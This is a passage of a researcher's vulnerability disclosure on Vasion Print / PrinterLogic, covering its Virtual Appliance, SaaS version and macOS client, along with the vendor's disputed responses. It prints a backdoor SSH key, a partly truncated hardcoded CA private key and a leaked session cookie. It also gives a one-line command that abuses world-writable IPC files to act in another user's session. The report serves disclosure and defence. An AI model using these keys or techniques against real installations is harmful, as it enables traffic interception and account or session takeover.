<p>A multitude of SSRF vulnerabilities were found, potentially allowing an attacker to compromise the underlying AWS infrastructure of the SaaS version.</p>
<p><em>Recommendations</em></p>
<p>Please note that the following recommendations are based on the multiple vulnerabilities that were found in Vasion print. 
Implementing these recommendations will considerably reduce the attack surface, limit security risks and get unpatched vulnerabilities patched:</p>
<ul>
<li>Apply security patches.</li>
<li>Use network segmentation not to expose Vasion Print / PrinterLogic on the network or to only expose Vasion Print / PrinterLogic to trusted and secure machines on port 443/tcp. This protects against vulnerabilities in PHP webpages and Docker instances.</li>
<li>Install the Virtual Appliance in a secure network. This protects against RCEs based on Network Layer 2 (currently unpatched).</li>
<li>Use the Virtual Appliance version instead of the SaaS version. This protects against cross-tenant vulnerabilities and SSRF vulnerabilities that could compromise Cloud-based infrastructure.</li>
<li>Deploy the Virtual Appliance version on-premise instead of using Cloud infrastructures. This protects against SSRF vulnerabilities that could compromise Cloud-based infrastructure.</li>
<li>Implement workarounds for unpatched and disputed vulnerabilities.</li>
<li>Remove the hardcoded <code>~printerlogic/.ssh/authorized_keys</code> file found in the Virtual Appliance. This file contains a hardcoded public SSH key allowing an undocumented backdoor SSH access with password-less sudo privileges (providing a full root access) if SSH is used on the Virtual Appliance. Vasion rejected this vulnerability.</li>
<li>If you are using the SaaS version, rotate passwords, because some of them were returned in clear-text when sending a regular HTTP request to the badge API without authentication in any instance. It is worth noting that these passwords were corresponding to different tenants. This vulnerability is "<em>V-2024-003 - Cross Tenant Password Exposure</em>" in the vendor's security bulletins (CVSS: 10) and was patched in January 2024 (CVE-2025-27648).</li>
</ul>
<h2>Unpatched vulnerabilities</h2>
<p>The vendor stated they would patch these vulnerabilities in a future release of Vasion Print:</p>
<p>2022:</p>
<ul>
<li><a href="#va-insecure-access-docker-instances-from-wan">non-assigned CVE vulnerability - Insecure access to Docker instances from the WAN</a><br></li>
</ul>
<p>Note that an attacker located in the same network segment will be able to achieve Remote Code Execution against the Virtual Appliance using this vulnerability.</p>
<p>2024:</p>
<ul>
<li>
<p><a href="#va-processes-running-as-root">non-assigned CVE vulnerability - Processes running as root in Docker instances</a><br></p>
</li>
<li>
<p><a href="#va-auth-bypass">non-assigned CVE vulnerability - Authentication Bypass - Docker instances reachable without authentication</a><br></p>
</li>
</ul>
<p>Note that an attacker located in the same network segment will be able to achieve Remote Code Execution against the Virtual Appliance using this vulnerability.</p>
<h2>Vendor Response regarding disputed and unpatched vulnerabilities</h2>
<p>On March 12, 2025, Vasion considered the following issues as "feature requests" or non issues and consequently they responded no security bulletins would be published. After sending my feedback stating that I was surprised that some vulnerabilities would not be patched, Vasion provided a final risk analysis on March 18, 2025 regarding disputed findings:</p>
<ol>
<li>
<p><a href="#va-clear-text-password">non-assigned CVE vulnerability - Password for <code>network</code> stored in clear-text inside <code>/etc/issue</code>, world-readable</a></p>
<p>"The presence of a network password in clear text within the /etc/issue directory does not pose an immediate risk to the confidentiality, integrity, or availability (CIA) of customer data or systems.  Exploitation of this finding would require either physical access to the host system or prior network access, limiting the likelihood of unauthorized exposure. However, as a security best practice, Vasion continuously evaluates opportunities to enhance protections against potential attack vectors."</p>
</li>
<li>
<p><a href="#va-lack-of-fw">non-assigned CVE vulnerability - Lack of firewall between Docker instances</a></p>
<p>"This has been categorized as a feature request. The absence of firewalls between Docker instances does not introduce a risk to customer data or system security. While implementing firewalls could enhance the overall defense-in-depth strategy, it is not a requirement for maintaining product security. The researcher's recommendations have been submitted as an internal feature request to further strengthen security. No security bulletin will be published for this finding."</p>
</li>
<li>
<p><a href="#va-insecure-security-architecture">non-assigned CVE vulnerability - Incorrect security architecture and wrong permissions in /var/www/efs_storage allowing allowing to compromise the solution</a></p>
<p>"This has been categorized as a feature request. The Vasion Automate Virtual Appliance operates under a shared responsibility model, where administrators are responsible for configuring persistent storage and encrypting configuration files. The researcher identified certain configuration files with excessive permissions, which is only applicable in cases where storage encryption has not been properly configured. Encryption configurations vary based on deployment environments. Customers are advised to follow best practices for securing persistent storage, as outlined in <a href="https://help.printerlogic.com/va/Print/Setup/Virtual_Appliance/Setup-Using-AWS.htm#:~:text=4.-,Create%20the%20Data%20Volume,-In%20the%20left">Vasion's deployment guidance for AWS and other environments</a>. No security bulletin will be published for this finding."</p>
</li>
<li>
<p><a href="#va-incorrect-encryption-algorithms-password">non-assigned CVE vulnerability - Incorrect encryption algorithms used to store passwords</a></p>
<p>"This issue was partially resolved. However, due to an extended timeline for migrating to the new login portal, the legacy authentication platform will remain in use for an undetermined period. In light of this, the issue has been reopened and will be addressed as a priority. The resolution will be implemented as soon as possible."</p>
</li>
<li>
<p><a href="#va-readable-passwords">non-assigned CVE vulnerability - Passwords readable and stored in clear-text</a></p>
<p>"This has been categorized as a feature request. The Vasion Automate Virtual Appliance follows a shared responsibility model, where administrators are expected to configure persistent storage encryption. The researcher identified certain network passwords stored in clear text, but this is only applicable when storage encryption is not properly configured. Encryption configurations vary by deployment environment. Customers are advised to <a href="https://help.printerlogic.com/va/Print/Setup/Virtual_Appliance/Setup-Using-AWS.htm#:~:text=4.-,Create%20the%20Data%20Volume,-In%20the%20left">follow best practices for securing persistent storage</a>. No security bulletin will be published for this finding."</p>
</li>
<li>
<p><a href="#saas-insecure-design">non-assigned CVE vulnerability - Insecure design of the SaaS version</a></p>
<p>"This finding has been classified as a false positive. A review of Vasion's internal architecture confirms that Server-Side Request Forgery (SSRF) cannot lead to account takeover as proposed. The hypothetical attack path presented requires multiple additional vulnerabilities, which are not present in the product's gateway microservices. No security bulletin will be published for this finding."</p>
</li>
<li>
<p><a href="#va-undocumented-hardcoded-ssh-key">non-assigned CVE vulnerability - Undocumented hardcoded SSH key</a></p>
<p>"This finding has been classified as a false positive. The Vasion Automate Virtual Appliance is a containerized application running on an underlying host. SSH key generation is unique per virtual appliance and cannot be tracked by Vasion. SSH is then disabled for the Virtual Appliance's host. This approach is a standard practice for Docker-built virtual applications to maintain host security. No security bulletin will be published for this finding."</p>
</li>
<li>
<p><a href="#va-exposed-upload-docker-instance">non-assigned CVE vulnerability - Docker instance used to upload clients reachable from the Internet and the LAN</a></p>
<p>"This finding has been classified as a false positive. The identified gateway is designed to facilitate communication between external services and backend services. It does not handle client uploads or distribution as suggested in the report. No security bulletin will be published for this finding."</p>
</li>
</ol>
<h2>Analysis of Vendor Response regarding disputed and unpatched vulnerabilities</h2>
<p>Find my comments below related to the Vendor Response on disputed and unpatched vulnerabilities:</p>
<ol>
<li>
<p><a href="#va-clear-text-password">non-assigned CVE vulnerability - Password for <code>network</code> stored in clear-text inside <code>/etc/issue</code>, world-readable</a></p>
<p>Displaying clear-text credentials on the console is against good security practices. While the likelihood is low, an attacker with access to the server console (e.g. with IPMI, iLO) can compromise the server.</p>
</li>
<li>
<p><a href="#va-lack-of-fw">non-assigned CVE vulnerability - Lack of firewall between Docker instances</a></p>
<p>The security assessment demonstrates that it is possible to get Remote Code Execution using this vulnerability (e.g., via Redis, currently exposed on the network, or any other SSRF vulnerability) when an attacker has a shell inside a Docker instance or exploits a SSRF vulnerability in the solution.</p>
<p>It is also widely known that a SSRF vulnerability that can <a href="https://github.com/tarunkant/Gopherus">reach a Redis server allows remote code execution</a>.</p>
<p>It is likely that the vendor considers in its threat model that an attacker cannot exploit SSRF vulnerabilities (while I found more than 10 different SSRFs).</p>
</li>
<li>
<p><a href="#va-insecure-security-architecture">non-assigned CVE vulnerability - Incorrect security architecture and wrong permissions in /var/www/efs_storage allowing allowing to compromise the solution</a></p>
<p>As a workaround, the vendor advises to use AWS EBS storage encryption.  </p>
<p>EBS storage encryption encrypts disk I/O on the volume and is unrelated to file permissions issues.</p>
<p>The official EBS documentation (https://docs.aws.amazon.com/ebs/latest/userguide/how-ebs-encryption-works.html) only states that encryption is performed on the volume.</p>
<p>The AWS threat model is as follows: (1) a hard drive is stolen; (2) an attacker on the network can intercept disk I/O; or (3) an attacker without IAM permissions cannot retrieve the encryption key to decrypt the volume.</p>
<p>Volume encryption does not protect against an attacker using a shell on the instance and does not patch insecure permissions.</p>
<p>As a result, an attacker with a shell inside a Docker instance will have full access to plaintext credentials because insecure permissions are used.</p>
</li>
<li>
<p><a href="#va-readable-passwords">non-assigned CVE vulnerability - Passwords readable and stored in clear-text</a></p>
<p>Similar comment as above.</p>
</li>
<li>
<p><a href="#saas-insecure-design">non-assigned CVE vulnerability - Insecure design of the SaaS version</a></p>
<p>Vasion has not provided any information regarding additional authentications between services.</p>
<p>When analyzing PHP files, it looks like that only the X-Site-ID header is used.</p>
<p>Vasion states that additional vulnerabilities are required. It is unclear what additional vulnerabilities are required.</p>
</li>
<li>
<p><a href="#va-undocumented-hardcoded-ssh-key">non-assigned CVE vulnerability - Undocumented hardcoded SSH key</a></p>
<p>The technical explanation provided by Vasion appears to be likely incorrect since it refers to SSH host key files (found in <code>/etc/ssh/ssh_*</code>), and it is unrelated to the <code>~printerlogic/.ssh/authorized_keys</code> file that was reported in January 2024.</p>
<p>The hardcoded file <code>~printerlogic/.ssh/authorized_keys</code> is still present in the latest version of Virtual Appliance (February 2025, 25.1.102 - https://va.printerlogic.com/virtual-appliance/releases/25.1.102/printerinstaller-25.1.102.ova - <em>e8c96fdf85298c2afb0a68726a8c3e78911aff5b8288ea9b7c7b005aa18290d4</em>), providing a root shell access to any attacker in possession of the corresponding private key is SSH is running:</p>
</li>
</ol>
<pre>
vm# cd home
vm# ls -la
total 20
drwxr-xr-x  5 root         root         4096 Feb 20  2025 .
drwxr-xr-x 19 root         root         4096 Feb 20  2025 ..
drwxr-x---  3 network      docker       4096 Feb 20  2025 network
drwxr-x---  3 printerlogic printerlogic 4096 Feb 20  2025 printerlogic
drwxr-x---  4 ubuntu       docker       4096 Feb 20  2025 ubuntu
vm# find printerlogic
printerlogic
printerlogic/.bash_logout
printerlogic/.profile
printerlogic/.ssh
printerlogic/.ssh/authorized_keys
printerlogic/.bashrc
vm# cat printerlogic/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCw+sKOEvtwR/sOlzWKmZkiRfoZs9Atdm5EVIdSADiOGstscYFmXB12a6BlHptBziq2Z9NUHoRfAS923Mgk9KdGhK/0qIheyLuFks1uLve2MiIkwO4hb72AtwN8ceecJSBu6FvOq0LMEMl1PX3sNt1Yu+CFIAUfr47P6ja2y1qmW9Mj9pGGLafXFuP49D1bZ5wnZ/XVusHHyHqOOA4D1IMAxP7YqhbM6FekE9oiQqX3r//ci5YtG+yzbCcLSBjIOxVpRDFX9/0AKYzeC5DiKkQ8if+xyND0cS1kI/D5NQ5Q/NIttoQRMETv8jXDhycUrZPEOEaP4ODWj0wRD/rtTwkV12Kf9i0hxmKxh2TH7LXBEjlq6xo7w9GLSapyV2AREP94NoZjL7GAPIdz3JneiyOvb/pcCR8xjHijlr8WXk9M0ZK2Ma29KCAl4ZLPC3z43psJyYLDXmJOrIsJNE4bnBaBuWADZPKYPC54WzqpTjmp1wObQT+Jbecf/GYj0rqj2GSqu2Ij8fBKS4rJ/2aee3afLwbsYVqz/g0x4qaOZo+X6DcrvLErbgERs471k80QMWOhLbOCYtIAEcZI2gnhD3ZMZXc790sp1PC2WXD2dZFEXBqLTMIKdaIL2Nc/XCt6TYZpcfvt49S6p3KiTtN9BrfPhyINof8DbzHL2d4dL0q6/Q== Virtual Appliance Development Key
vm# grep printerlogic /etc/group  
printerlogic_ssh:x:1001:printerlogic
printerlogic:x:1002:
vm# grep printerlogic /etc/sudoers
%printerlogic_ssh ALL=(ALL) NOPASSWD: ALL
</pre>

<p>7. <a href="#va-exposed-upload-docker-instance">non-assigned CVE vulnerability - Docker instance used to upload clients reachable from the Internet and the LAN</a></p>
<p>Vasion reports that the upload Docker instance is not in use, but is running and accessible from the network.</p>
<p>It's unclear why the vendor chooses to expand the attack surface by exposing unused services to the network.</p>
<h2>Security assessment done in 2021</h2>
<h2>Vulnerabilities affecting the MacOS/Linux client</h2>
<h2>Identification of the solution</h2>
<p>The laptop is running macOS Big Sur and the Printerlogic version is 25.1.0.504:</p>
<p><img alt="" src="images/2025-vasion-report-0-mac-version.png" /></p>
<p><a href="images/2025-vasion-report-0-mac-version-full.png">Click here for full image</a></p>
<p>Printerlogic version:</p>
<pre><code>user@laptop ~ % cat /opt/PrinterInstallerClient/VERSION 
25.1.0.504
</code></pre>
<p><a id="mac-hardcoded-private-key"></a></p>
<h2>Details - Hardcoded Private key for the PrinterLogic CA and Hardcoded password</h2>
<p>The configuration file of PrinterLogic can be found in <code>/opt/PrinterInstallerClient/tmp/data/clientsettings.dat</code>. It is an XML file containing some values:</p>
<p>Content of <code>/opt/PrinterInstallerClient/tmp/data/clientsettings.dat</code>:</p>
<pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt;
&lt;result code="1"&gt;
  &lt;desc&gt;Successful&lt;/desc&gt;
  &lt;account_settings&gt;
    &lt;setting name="serverType"&gt;saas&lt;/setting&gt;
    &lt;setting name="admin_prot"&gt;Any (specified by url)&lt;/setting&gt;
    &lt;setting name="app_url"&gt;https://[redacted].printercloud10.com&lt;/setting&gt;
    &lt;setting name="badge_ad_object"/&gt;
    &lt;setting name="badge_password"&gt;SET&lt;/setting&gt;
</code></pre>
<p>It contains a custom Certificate Authority (CA) and its associated private key:</p>
<pre><code>    &lt;setting name="caCertificate"&gt;-----BEGIN CERTIFICATE-----
MIIF+DCCA+CgAwIBAgIBADANBgkqhkiG9w0BAQ0FADCBlDELMAkGA1UEBhMCVVMx
DTALBgNVBAgMBFV0YWgxEzARBgNVBAcMClN0LiBHZW9yZ2UxFTATBgNVBAoMDFBy
aW50ZXJMb2dpYzEZMBcGA1UECwwQUHJpbnRlckluc3RhbGxlcjEvMC0GA1UEAwwm
UHJpbnRlckluc3RhbGxlciBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwHhcNMjEwNjA4
MDEwOTExWhcNNDEwNjAzMDEwOTExWjCBlDELMAkGA1UEBhMCVVMxDTALBgNVBAgM
BFV0YWgxEzARBgNVBAcMClN0LiBHZW9yZ2UxFTATBgNVBAoMDFByaW50ZXJMb2dp
YzEZMBcGA1UECwwQUHJpbnRlckluc3RhbGxlcjEvMC0GA1UEAwwmUHJpbnRlcklu
c3RhbGxlciBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUA
A4ICDwAwggIKAoICAQCs4uTY7wGVIs14OPZnEx33WwXg3b5aAEEw6uTiwgutiZoj
UoAJ7hytkEK7KDOB1TL7/IphKmtJdkixLgZYiLtRjzejOeQNPNbvROg/TtBADTal
Wp6d7j3Sr8a6yz0lwbMYgdpmu1M9kxAgc10PX2tbjcnGfP2LQ5eXofHkkyvGtCaE
o9RSs0DOLsIrK9Y6yctz+tKhYca0wPjIqp0IQBfHaCnskmqrWMlUU2PW9b3cIY96 
[...]
NmRZ843dZWEvh7Sa7uOqjXGbKgM209Y+z1qTGS5ge6+yE/08dswGx6lQLkgOGJjh
ocC5e+TosH3ISmcx/Y0rRYzKVOzW77v18ijozAKlG4usf/vPFaZD+72IaTM=
-----END CERTIFICATE-----
&lt;/setting&gt; 
[...]
    &lt;setting name="cac_filter"/&gt;
    &lt;setting name="cac_issuers"/&gt;
    &lt;setting name="cac_subjects"/&gt;
    &lt;setting name="caPrivateKey"&gt;-----BEGIN PRIVATE KEY-----
MIIJQwIBADANBgkqhkiG9w0BAQEFAASCCS0wggkpAgEAAoICAQCs4uTY7wGVIs14
OPZnEx33WwXg3b5aAEEw6uTiwgutiZojUoAJ7hytkEK7KDOB1TL7/IphKmtJdkix
LgZYiLtRjzejOeQNPNbvROg/TtBADTalWp6d7j3Sr8a6yz0lwbMYgdpmu1M9kxAg
c10PX2tbjcnGfP2LQ5eXofHkkyvGtCaEo9RSs0DOLsIrK9Y6yctz+tKhYca0wPjI
qp0IQBfHaCnskmqrWMlUU2PW9b3cIY96qCI1qvlIYBJwm49tC6Wq84BlkNHmZ/Fz
7i56aAA6F9O46iODUrJvabwDs7N6MSuzoCatC4kciig85pr6jengpWbp3E6Z7ybo 
[...]
G3KOXALBOZOYykvJN1Q8v+dPmHE0qO4/t4Axz+NTtPbxd5k0AM9Lz7EfEspyrTau
+J0lD0I+7GdKk4dwUbmjCrfNDpAAs0l9rmLZ8gYKa9olnVJPB04TQBAwqR6ymwKj
LAECggEBANtxgXHp32BccvuzuNMd+Ep9RmfBHHSJTYSOlcdDh7U3j786JiYtLVxL
T87iC9gVwkKqi71aXMziWEMzN4JobtQyfLQ+T5kHFzBsU0L8wV/9JNkqzASsm0N7
ZhBMptDYB5TMgVy/KSALl1eyDi5z+YHe3tDU958c7OnkrhHu+qH6PMfLp3xziR6S
a6+mSov2DwmlJJ+y5MvYSXhh5kg0xbulg/kr8jWY0hfopQGAHT2eUmlMaS3ZCxIk
FqmTjGpNQnxLd+LS+YEKyjZsfs/5srqTzyVnn+D2TNeWpbinUESX3hQxXsdU5vDr
2lS4nryEiEh2058Cq6Z4zsBtsjNgtAg=
-----END PRIVATE KEY-----
</code></pre>
<p>It is possible to confirm this private key is the private key of the public CA by checking modulus - they have the same modulus value:</p>
<pre><code>kali% openssl rsa -noout -modulus -in CA.key 
Modulus=ACE2E4D8EF019522CD7838F667131DF75B05E0DDBE5A004130EAE4E2C20BAD899A23528009EE1CAD9042BB283381D532FBFC8A612A6B497648B12E065888BB518F37A339E40D3CD6EF44E83F4ED0400D36A55A9E9DEE3DD2AFC6BACB3D25C1B31881DA66BB533D931020735D0F5F6B5B8DC9C67CFD8B439797A1F1E4932BC6B42684A3D452B340CE2EC22B2BD63AC9CB73FAD2A161C6B4C0F8C8AA9D084017C76829EC926AAB58C9545363D6F5BDDC218F7AA82235AAF9486012709B8F6D0BA5AAF3806590D1E667F173EE2E7A68003A17D3B8EA238352B26F69BC03B3B37A312BB3A026AD0B891C8A283CE69AFA8DE9E0A566E9DC4E99EF26E887E7D7F2C786998BB440DD7F8A9009E4F6790F2F51A06ECD03AEA1FC46035B1BA72F43A8DF0EAC662DCB2F22E5E42BED8B04F7AF2D10EE97007499DE30A3A6225D61FB2856D3563D5E7855FFDA3DB8D599D064471F524E01DF2944F7BC70BC454F2F1CDA8CA0D5737A23E6280C25FCCAD5C1C439F5CE01CBE0348DC190508E73506EAF7060129B63661AF1AE2EA2E4F7695B3A66772A501F33FF13A2947600C8425BC1E7F1B3E664C84A9A284ADAA3352F5C0C6A07991800CDD0DA207497673FAFE046522B57F8C20AC3E14B98F25BA07B58650D0F9CEEA234A41CD268E9507E53BDAB9B46FF0DB39875E3C1AA719376AF6C240A8C99D13D8F525F2E7037523F12CB9855AFBB
kali% openssl x509 -noout -modulus -in CA.pem   
Modulus=ACE2E4D8EF019522CD7838F667131DF75B05E0DDBE5A004130EAE4E2C20BAD899A23528009EE1CAD9042BB283381D532FBFC8A612A6B497648B12E065888BB518F37A339E40D3CD6EF44E83F4ED0400D36A55A9E9DEE3DD2AFC6BACB3D25C1B31881DA66BB533D931020735D0F5F6B5B8DC9C67CFD8B439797A1F1E4932BC6B42684A3D452B340CE2EC22B2BD63AC9CB73FAD2A161C6B4C0F8C8AA9D084017C76829EC926AAB58C9545363D6F5BDDC218F7AA82235AAF9486012709B8F6D0BA5AAF3806590D1E667F173EE2E7A68003A17D3B8EA238352B26F69BC03B3B37A312BB3A026AD0B891C8A283CE69AFA8DE9E0A566E9DC4E99EF26E887E7D7F2C786998BB440DD7F8A9009E4F6790F2F51A06ECD03AEA1FC46035B1BA72F43A8DF0EAC662DCB2F22E5E42BED8B04F7AF2D10EE97007499DE30A3A6225D61FB2856D3563D5E7855FFDA3DB8D599D064471F524E01DF2944F7BC70BC454F2F1CDA8CA0D5737A23E6280C25FCCAD5C1C439F5CE01CBE0348DC190508E73506EAF7060129B63661AF1AE2EA2E4F7695B3A66772A501F33FF13A2947600C8425BC1E7F1B3E664C84A9A284ADAA3352F5C0C6A07991800CDD0DA207497673FAFE046522B57F8C20AC3E14B98F25BA07B58650D0F9CEEA234A41CD268E9507E53BDAB9B46FF0DB39875E3C1AA719376AF6C240A8C99D13D8F525F2E7037523F12CB9855AFBB
kali%
</code></pre>
<p>Description of the CA:</p>
<pre><code>kali% openssl x509 -in CA.pem -text -noout
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 0 (0x0)
        Signature Algorithm: sha512WithRSAEncryption
        Issuer: C = US, ST = Utah, L = St. George, O = PrinterLogic, OU = PrinterInstaller, CN = PrinterInstaller Certificate Authority
        Validity
            Not Before: Jun  8 01:09:11 2021 GMT
            Not After : Jun  3 01:09:11 2041 GMT
        Subject: C = US, ST = Utah, L = St. George, O = PrinterLogic, OU = PrinterInstaller, CN = PrinterInstaller Certificate Authority
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                RSA Public-Key: (4096 bit)
                Modulus:
[...]
        X509v3 extensions:
            X509v3 Subject Key Identifier: 
                E7:D5:61:DF:25:55:26:00:96:89:09:0C:B1:E2:8F:35:AD:E7:1B:16
            X509v3 Authority Key Identifier: 
                keyid:E7:D5:61:DF:25:55:26:00:96:89:09:0C:B1:E2:8F:35:AD:E7:1B:16

            X509v3 Basic Constraints: 
                CA:TRUE, pathlen:0
    Signature Algorithm: sha512WithRSAEncryption
         33:d4:53:d0:d5:f0:08:45:b9:c3:3c:90:3c:17:da:af:84:74:
</code></pre>
<p>The program PrinterLogic may use this CA to transmit data securely.</p>
<p>It may allow an attacker to intercept data.</p>
<p><a id="mac-incorrect-permissions"></a></p>
<h2>Details - Incorrect permissions in /opt/PrinterInstallerClient/log</h2>
<p>By default, the printer runs several daemons as root:</p>
<pre><code>user@laptop ~ % ps -ef | grep Printer
    0   102     1   0  6:20PM ??         0:00.02 sh /opt/PrinterInstallerClient/service_interface/run_service.sh
    0   157   102   0  6:20PM ??         2:22.44 /opt/PrinterInstallerClient/service_interface/./PrinterInstallerClientService
    0 55296   157   0  7:19PM ??         0:00.65 /opt/PrinterInstallerClient/service_interface/modules/PrinterLogicIdpAuthentication/PrinterLogicIdpAuthentication launch https://[redacted].printercloud10.com 0
    0 55974   157   0  7:22PM ??         0:00.16 /opt/PrinterInstallerClient/service_interface/PrinterInstallerClient.app/Contents/MacOS/PrinterInstallerClient login
user@laptop ~ %
</code></pre>
<p>These daemons will write logs in the directory <code>/opt/PrinterInstallerClient/log</code>.</p>
<p>The directory <code>/opt/PrinterInstallerClient/log</code> is <code>777</code>, allowing any user to add any file in this directory.</p>
<p>Listing of /opt/PrinterInstallerClient/log:</p>
<pre>
sh-3.2# pwd
/opt/PrinterInstallerClient/log
sh-3.2# ls -la
total 5976
<font color=red>drwxrwxrwt  11 root  wheel      352 Dec  7 17:37 .</font>
drwxr-xr-x  13 root  wheel      416 Dec  7 16:53 ..
-rw-r--r--   1 root  wheel       31 Dec  9 18:10 HOMEURL
-rw-r--r--   1 root  wheel   122847 Dec  9 17:39 PrinterLogicIdpAuthentication.log
-rw-r--r--   1 root  wheel     2068 Dec  7 16:53 install.log
<font color=red>-rw-rw-rwT   1 root  wheel    14141 Dec  9 17:39 interface.log</font>
-rw-r--r--   1 root  wheel     7927 Dec  9 17:36 launchd_service.log
-rw-r--r--   1 root  wheel    27012 Dec  8 15:04 launchd_service_error.log
-rw-r--r--   1 root  wheel  1177989 Dec  9 18:10 service.log
-rw-r--r--   1 root  wheel   657784 Dec  9 18:10 service_info.log
-rw-r--r--   1 root  wheel        2 Dec  9 17:36 service_last_exit
sh-3.2#
</pre>

<p>The file<code>interface.log</code> is open to everyone (<code>666</code>), allowing adding random logs or erasing the logs:</p>
<pre><code>user@laptop log % ls -la interface.log  
-rw-rw-rwT  1 root  wheel  23632 Dec  9 19:45 interface.log
user@laptop log % tail -n 2 interface.log
2021-12-09 19:42:44,952 (INFO): Done with command: PROGRESS
2021-12-09 19:45:42,164 (INFO): Done with command: UPLOAD_DRIVER
user@laptop log % echo &gt; interface.log
user@laptop log % ls -la interface.log
-rw-rw-rwT  1 root  wheel  1 Dec  9 20:22 interface.log
user@laptop log % tail -n 2 interface.log

user@laptop log %
</code></pre>
<p>Any user can retrieve the logs, write custom files inside the logs directory or corrupt the logs.</p>
<p><a id="mac-leak-secrets"></a></p>
<h2>Details - Leak of secrets inside the logs</h2>
<p>Because the logs are readable by any user, it is possible to extract clear-text authentication sessions using any local account.</p>
<p>As <code>executive</code> account. Sessions in clear-text in world-readable logs:</p>
<pre><code>executive@laptop log % grep SESS /opt/PrinterInstallerClient/log/*
/opt/PrinterInstallerClient/log/service_info.log:Arguments: https:,[redacted].printercloud10.com,/,PHPSESSID=c72968d6e68d781a800528758029b232;XSRF-TOKEN=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;laravel_session=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;,printer,p972,,-1

executive@laptop log % cat /opt/PrinterInstallerClient/log/service_info.log | grep Argu
Arguments: https:,[redacted].printercloud10.com,/,PHPSESSID=c72968d6e68d781a800528758029b232;XSRF-TOKEN=eyJpdiI6IltyZWRhY3RlZF0iLCJ2YWx1ZSI6IltyZWRhY3RlZF0iLCJtYWMiOiJbcmVkYWN0ZWRdIn0=;,printer,p972,,-1
Arguments: ["05DC94A40DD482C8C2BF3CEBCB9D96AF1639050072", "8BC83598876FA522B58B928F082961861639049891", {}]
Arguments: ["4189DB18B395218DBF8F3CDA78C85B6B1639050252", "05DC94A40DD482C8C2BF3CEBCB9D96AF1639050072", {}]
Arguments: ["A3BF377328A91D1623C828D4628648BF1639050432", "4189DB18B395218DBF8F3CDA78C85B6B1639050252", {}]
Arguments: ["CB7C6C1E5C1CFD38E9C3447CA08033FD1639050612", "A3BF377328A91D1623C828D4628648BF1639050432", {}]
[...]
</code></pre>
<p>These sessions can be retrieved by anyone using the computer.</p>
<p>Any local user can retrieve the sessions and login into the SaaS version of Vasion Print / PrinterLogic.</p>
<p><a id="mac-lack-auth-communication"></a></p>
<h2>Details - Lack of authentication of the communication between services</h2>
<p>It was observed that communications between daemons are not protected, resulting in some interesting side effects. These inter-process communications are based on files.</p>
<p>By default, the programs use directories inside <code>/opt/PrinterInstallerClient/tmp</code> for inter-process communication. These directories are world-readable and world-writable:</p>
<p>Content of <code>/opt/PrinterInstallerClient/tmp</code>:</p>
<pre><code>executive@laptop tmp % pwd
/opt/PrinterInstallerClient/tmp
executive@laptop tmp % ls -la
total 0
drwxr-xr-x   9 root  wheel  288 Dec  7 16:53 .
drwxr-xr-x  13 root  wheel  416 Dec  9 20:20 ..
drwxrwxrwx   2 root  wheel   64 Dec  7 16:53 commands
drwxr-xr-x   2 root  wheel   64 Dec  7 16:53 crl
drwxr-xr-x  14 root  wheel  448 Dec  9 18:41 data
drwxrwxrwt   2 root  wheel   64 Dec  9 20:41 requests
drwxrwxrwt   3 root  wheel   96 Dec  9 18:40 responses
drwxrwxrwt   2 root  wheel   64 Dec  9 20:41 scratch
drwx------   2 root  wheel   64 Dec  9 19:29 state
executive@laptop tmp %
</code></pre>
<p>Any user can create a file inside <code>/opt/PrinterInstallerClient/tmp/requests/</code> to create a new communication with process running as root.</p>
<p>For example, any user can start a browser on the local user session by creating a file inside <code>/opt/PrinterInstallerClient/tmp</code>:</p>
<pre><code>executive@laptop responses % (echo "OPEN_HOME_URL" ; echo -n "?www.google.com" | base64) &gt; /opt/PrinterInstallerClient/tmp/requests/26TAjFzAlf-202112091901313
</code></pre>
<p>In the logs, we see a new task has been created:</p>
<pre><code>2021-12-09 20:53:45,882 (DEBUG): Processing request at '/opt/PrinterInstallerClient/tmp/requests/26TAjFzAlf-202112091901313'
2021-12-09 20:53:45,883 (INFO): Received request: OPEN_HOME_URL
2021-12-09 20:53:45,883 (INFO): Creating task:
Command: 'OPEN_HOME_URL'
Arguments: ?www.google.com
User ID: 503
Group ID: 20
Use UI: True
Origin: 'INTERFACE'
2021-12-09 20:53:45,894 (INFO): Done with request: OPEN_HOME_URL
</code></pre>
<p>This will result in a new Safari popup for the user <code>user</code> with the address: <code>https:/[redacted].printercloud10.com/?www.google.com</code></p>
<p>Browser started in the session of <code>user</code>:</p>
<p><img alt="" src="images/2025-vasion-report-0-mac-browser.png" /></p>
<p><a href="images/2025-vasion-report-0-mac-browser-full.png">Click here for full image</a></p>
<p>Executive user ID is <code>503</code> but the process will be created as <code>user</code> (user ID <code>501</code>) - meaning the security separation between users has been broken.</p>
<p>Any local user can create specific actions that will be executed on other local sessions.</p>
<p>The entire security model of inter-process communication is broken.</p>
<p><a id="mac-bypass-admin-ipc"></a></p>
<h2>Details - Bypass of admin commands using IPC</h2>
<p>By default, it is impossible to run some scripts to change the behavior of PrinterLogic. These scripts are located inside <code>/opt/PrinterInstallerClient/bin</code>.</p>
<p>Scripts inside <code>/opt/PrinterInstallerClient/bin</code>:</p>
<pre><code>user@laptop bin % pwd
/opt/PrinterInstallerClient/bin
user@laptop bin % ls -la
total 544
drwxr-xr-x  20 root  wheel     640 Dec  9 19:29 .
drwxr-xr-x  13 root  wheel     416 Dec  9 20:20 ..
-r--r--r--   1 root  wheel  204958 Dec  9 19:29 PrinterLogic-Debug-20211209192951.zip
-r-xr-x---   1 root  wheel     215 Mar  5  2021 ad_override_file.sh
-r-xr-x---   1 root  wheel     269 Mar  5  2021 bundle_debug.sh
-r-xr-x---   1 root  wheel     211 Mar  5  2021 configure_proxy.sh
-r-xr-x---   1 root  wheel     165 Mar  5  2021 disable_home_url_security.sh
-r-xr-x---   1 root  wheel     233 Mar  5  2021 disable_ipp_queue_interpretation.sh
